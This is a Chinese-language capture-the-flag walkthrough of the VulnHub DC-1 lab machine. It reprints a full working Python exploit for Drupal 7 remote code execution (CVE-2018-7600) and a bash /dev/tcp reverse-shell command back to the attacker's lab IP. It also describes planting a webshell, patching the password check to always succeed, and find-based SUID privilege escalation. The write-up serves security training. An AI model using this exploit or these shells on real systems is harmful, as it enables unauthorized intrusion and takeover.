前言:DC-1是vulnhub系列靶机中比较有名的一台入门级靶机,渗透姿势有很多种,适合初学者。本次渗透测试也是笔者自入坑vlunhub以来第一次完全独立拿下一台靶机,于是来把我的专属经验分享给大家。
靶机名称:DC-1
下载地址:https://www.vulnhub.com/entry/dc-1-1,292/
攻击机ip:172.16.12.137
靶机ip:172.16.12.140
目标:获取靶机上的5个flag
首先识别一下目标开启的服务和端口,可以看到目标主机上开启了22、80、111端口,分别对应ssh、http、rpcbind服务。
访问http站点,通过插件识别出目标站点使用的CMS是Drupal7.
去网上搜索一下该CMS的已知漏洞,通过搜索我们了解到针对Drupal7在2018年爆出了CVE-2018-7600和CVE-2018-7602两个高位漏洞,一个可用的exp如下
#!/usr/bin/env python3
import requests
import argparse
from bs4 import BeautifulSoup
def get_args():
parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= '''
This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
by poisoning the recover password form (user/password) and triggering it with
the upload file via ajax (/file/ajax).
''')
parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
args = parser.parse_args()
return args
def pwn_target(target, function, command, proxy):
requests.packages.urllib3.disable_warnings()
proxies = {'http': proxy, 'https': proxy}
print('[*] Poisoning a form and including it in cache.')
get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
soup = BeautifulSoup(r.text, "html.parser")
try:
form = soup.find('form', {'id': 'user-pass'})
form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
if form_build_id:
print('[*] Poisoned form ID: ' + form_build_id)
print('[*] Triggering exploit to execute: ' + command)
get_params = {'q':'file/ajax/name/#value/' + form_build_id}
post_params = {'form_build_id':form_build_id}
r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
parsed_result = r.text.split('[{"command":"settings"')[0]
print(parsed_result)
except:
print("ERROR: Something went wrong.")
raise
def main():
print ()
print ('=============================================================================')
print ('| DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600) |')
print ('| by pimps |')
print ('=============================================================================\n')
args = get_args() # get the cl args
pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
if __name__ == '__main__':
main()
该exp利用CVE-2018-7600漏洞,可以实现针对包含该漏洞站点的任意命令执行攻击,我们运行该exp查看执行效果。可以看到,我们的命令被正确执行,并发现了flag1。
接着我们在攻击机开启netcat监听端口,控制靶机反弹一个shell。
python3 CVE-2018-7600.py -c "echo 'bash -i >& /dev/tcp/172.16.12.137/6767 0>&1'|bash" http://172.16.12.140
利用获得的shell读取flag1
接着我在home目录下发现了flag4(竟然直接就有读取权限,算是意外收获,本人习惯拿到shell后先去家目录转一圈)
根据flag1的提示,查看配置文件,查阅资料后了解到Drupal的默认配置文件位置在 sites/default目录下,为了方便文件管理,我们写入一个菜刀马并用蚁剑连接。
查看配置文件,我们在配置文件中发现了第二个flag,并获得了数据库的连接账号和连接密码
暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)。
你能用这些权限做什么?
似乎在提示我们利用获得的信息,于是尝试登录一下数据库看看。
使用刚才获得的账号和密码登录数据库,发现可以登录但是信息不能正常回显,exit退出数据库后mysql所有的回显信息会全部打印,一脸懵逼~
修改一下shell的创建方式,发现可以执行python,于是使用pty创建一个新的交互式shell
python -c "import pty;pty.spawn('/bin/sh')"
回显正常后,查询到数据库账号密码:
笔者实在看不透这是用的什么加密方式……菜到安详,于是换一种思路,前边我们发现website的所有文件都具有写权限,那么我们是不是可以找到控制登录验证的关键逻辑,把它做一点修改?通过一番查找,终于找到了控制密码验证的关键部分代码,位于/includes/password.inc文件的function user_check_password($password, $account)函数中,讲255行和257行进行修改,即无论输入什么都返回true。
接着我们登录admin用户,成功登录后在网站随便乱点点找到了flag3:
根据提示信息中的-exec很容易想到find提权,检验一下find是否具有SUID。
使用find -exec生成一个具有root权限的shell
接着在root目录下找到了最后一个flag